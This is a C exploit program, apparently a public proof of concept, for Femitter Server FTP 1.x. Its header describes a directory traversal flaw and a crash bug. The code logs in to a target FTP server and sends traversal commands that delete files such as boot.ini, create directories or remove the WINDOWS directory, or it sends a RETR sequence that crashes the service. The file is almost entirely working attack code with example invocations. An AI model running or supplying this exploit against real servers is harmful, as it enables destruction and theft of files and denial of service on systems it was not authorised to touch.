/*
Femitter Server FTP 1.x Multiple Vulnerability
----------------------------------------------------

Arbitrary:
----------
The vulnerability is caused due to an input validation error when processing FTP requests. This can be 
exploited to read, modify, or delete arbitrary files from the affected system via directory traversal 
attacks.

Remote Crash:
-------------
The vulnerability is caused due to an error in handling the RETR command. This can be exploited to crash 
the FTP service by sending the "RETR" command without sending the "PORT" command.
--------------------------------------------------------------------------------------------------------

FTP Service:
------------
You can delet file boot.ini 	=> DELE ../../boot.ini
You can get file boot.ini 	=> RETR ../../boot.ini
You can creat Directory 	=> MKD ../../poc
You can delet Directory		=> RMD ../../WINDOWS
You can crash service 		=> (RETR 0)x2


Author: Jonathan Salwan
Mail  : submit [AT] shell-storm.org
Web   : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
	{
	fprintf(stderr,"\nFemitter Server FTP 1.x Multiple Vulnerability\n");
	fprintf(stderr,"-----------------------------------------------------\n");
	fprintf(stderr,"=>Syntax  : <%s> <ip> <port> <login> <passwd> <option> <argument_option>\n\n",file);
	fprintf(stdout,"=>Option  : -df\t\tDelet File\n");
	fprintf(stdout,"            -cd\t\tCreat Directory\n");
	fprintf(stdout,"            -dd\t\tDelet Directory\n");
	fprintf(stdout,"            -crash\tRemote Crash with Request RETR\n\n");
	fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 passwd2 -df ../../boot.ini\n", file);
	fprintf(stdout,"          : %s 127.0.0.1 21 login1 passwd2 -cd ../../poc\n", file);
	fprintf(stdout,"          : %s 127.0.0.1 21 login1 passwd2 -dd ../../WINDOWS\n\n", file);
	fprintf(stdout,"=>Crash   : %s 127.0.0.1 21 anonymous aaaa -crash-ftp\n\n", file);
	exit(0);
	}

int main(int argc, char **argv)
{
	if (argc < 6)
		syntax(argv[0]);
	
	int port = atoi(argv[2]);

	int mysocket;
	int mysocket2;
	int srv_connect;
	int sockaddr_long;


		struct sockaddr_in sockaddr_mysocket;
		sockaddr_long = sizeof(sockaddr_mysocket);
		sockaddr_mysocket.sin_family = AF_INET;
		sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
		sockaddr_mysocket.sin_port = htons(port);

        char request[50];
	char answer[100];

        fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
                        fprintf(stderr,"[-]FAILED SOCKET\n");
			return 1;}

	srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
		
	if (srv_connect != -1)
 		{	
			if(!strcmp(argv[5], "-df")){
					sprintf(request, "USER %s\r\n", argv[3]);		
						if (send(mysocket2,request,strlen(request),0) == -1){
							fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
							shutdown(mysocket2,1);
							return 1;}
						else{
							memset(answer,0,100);
							recv(mysocket2,answer,sizeof(answer),0);
						 }
			sprintf(request, "PASS %s\r\n", argv[4]);
				if (send(mysocket2,request,strlen(request),0) == -1){
				        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
				        shutdown(mysocket2,1);
				        return 1;}
				else{ 
					memset(answer,0,100);
				        recv(mysocket2,answer,sizeof(answer),0);
				        fprintf(stdout,"[+]>>%s",answer);
				 }
		sprintf(request, "SYST\r\n");
		if (send(mysocket2,request,strlen(request),0) == -1){
		        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
		        shutdown(mysocket2,1);
		        return 1;}
		else{
		        memset(answer,0,100);
		        recv(mysocket2,answer,sizeof(answer),0);
		        fprintf(stdout,"[+]>>%s",answer);
		 }						
				sprintf(request, "DELE %s\r\n", argv[6]);
					if (send(mysocket2,request,strlen(request),0) == -1){
						fprintf(stderr,"[-]Send Request DELE\t\t[FAILED]\n");
						shutdown(mysocket2,1);
						return 1;}
					else{ 
						memset(answer,0,100);
						recv(mysocket2,answer,sizeof(answer),0);
						fprintf(stdout,"[+]>>%s",answer);
					 }	
				}


			if(!strcmp(argv[5], "-cd")){
					sprintf(request, "USER %s\r\n", argv[3]);		
						if (send(mysocket2,request,strlen(request),0) == -1){
							fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
							shutdown(mysocket2,1);
							return 1;}
						else{
							memset(answer,0,100);
							recv(mysocket2,answer,sizeof(answer),0);
						 }
			sprintf(request, "PASS %s\r\n", argv[4]);
				if (send(mysocket2,request,strlen(request),0) == -1){
				        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
				        shutdown(mysocket2,1);
				        return 1;}
				else{ 
					memset(answer,0,100);
				        recv(mysocket2,answer,sizeof(answer),0);
				        fprintf(stdout,"[+]>>%s",answer);
				 }
		sprintf(request, "SYST\r\n");
		if (send(mysocket2,request,strlen(request),0) == -1){
		        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
		        shutdown(mysocket2,1);
		        return 1;}
		else{
		        memset(answer,0,100);
		        recv(mysocket2,answer,sizeof(answer),0);
		        fprintf(stdout,"[+]>>%s",answer);
		 }
				sprintf(request, "MKD %s\r\n", argv[6]);
					if (send(mysocket2,request,strlen(request),0) == -1){
						fprintf(stderr,"[-]Send Request MKD\t\t[FAILED]\n");
						shutdown(mysocket2,1);
						return 1;}
					else{ 
						memset(answer,0,100);
						recv(mysocket2,answer,sizeof(answer),0);
						fprintf(stdout,"[+]>>%s",answer);
					 }
			}


			if(!strcmp(argv[5], "-dd")){
					sprintf(request, "USER %s\r\n", argv[3]);		
						if (send(mysocket2,request,strlen(request),0) == -1){
							fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
							shutdown(mysocket2,1);
							return 1;}
						else{
							memset(answer,0,100);
							recv(mysocket2,answer,sizeof(answer),0);
						 }
			sprintf(request, "PASS %s\r\n", argv[4]);
				if (send(mysocket2,request,strlen(request),0) == -1){
				        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
				        shutdown(mysocket2,1);
				        return 1;}
				else{ 
					memset(answer,0,100);
				        recv(mysocket2,answer,sizeof(answer),0);
				        fprintf(stdout,"[+]>>%s",answer);
				 }
		sprintf(request, "SYST\r\n");
		if (send(mysocket2,request,strlen(request),0) == -1){
		        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
		        shutdown(mysocket2,1);
		        return 1;}
		else{
		        memset(answer,0,100);
		        recv(mysocket2,answer,sizeof(answer),0);
		        fprintf(stdout,"[+]>>%s",answer);
		 }
				sprintf(request, "RMD %s\r\n", argv[6]);
					if (send(mysocket2,request,strlen(request),0) == -1){
						fprintf(stderr,"[-]Send Request RMD\t\t[FAILED]\n");
						shutdown(mysocket2,1);
						return 1;}
					else{ 
						memset(answer,0,100);
						recv(mysocket2,answer,sizeof(answer),0);
						fprintf(stdout,"[+]>>%s",answer);
					 }
			}


			if(!strcmp(argv[5], "-crash-ftp")){
					sprintf(request, "USER %s\r\n", argv[3]);		
						if (send(mysocket2,request,strlen(request),0) == -1){
							fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
							shutdown(mysocket2,1);
							return 1;}
						else{
							memset(answer,0,100);
							recv(mysocket2,answer,sizeof(answer),0);
						 }
			sprintf(request, "PASS %s\r\n", argv[4]);
				if (send(mysocket2,request,strlen(request),0) == -1){
				        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
				        shutdown(mysocket2,1);
				        return 1;}
				else{ 
					memset(answer,0,100);
				        recv(mysocket2,answer,sizeof(answer),0);
				        fprintf(stdout,"[+]>>%s",answer);
				 }
		sprintf(request, "SYST\r\n");
		if (send(mysocket2,request,strlen(request),0) == -1){
		        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
		        shutdown(mysocket2,1);
		        return 1;}
		else{
		        memset(answer,0,100);
		        recv(mysocket2,answer,sizeof(answer),0);
		        fprintf(stdout,"[+]>>%s",answer);
		 }
				sprintf(request, "RETR O\r\nRETR 0\r\n");
					if (send(mysocket2,request,strlen(request),0) == -1){
						fprintf(stderr,"[-]Send Request RETR\t\t[FAILED]\n");
						shutdown(mysocket2,1);
						return 1;}	 
				}
		}

	else{
		fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
		shutdown(mysocket2,1);
		return 1;}


	shutdown(mysocket2,1);


fprintf(stdout,"[+]Done!\n", argv[5]);
return 0;
}